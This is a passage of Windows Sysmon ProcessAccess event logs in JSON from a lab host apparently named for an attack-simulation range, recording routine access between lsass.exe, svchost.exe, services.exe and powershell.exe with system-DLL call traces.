11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":981,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.922\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010417D0100}\r\nTargetProcessId: 2424\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.922","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010417D0100}","TargetProcessId":"2424","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":982,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.922\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010417D0100}\r\nTargetProcessId: 2424\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.922","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010417D0100}","TargetProcessId":"2424","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":983,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010693E0100}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010693E0100}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":984,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nTargetProcessId: 2184\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","TargetProcessId":"2184","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":985,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.938\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.938","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":986,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.938\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.938","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":987,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.938\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.938","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":988,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:41.953\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:41.953","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SY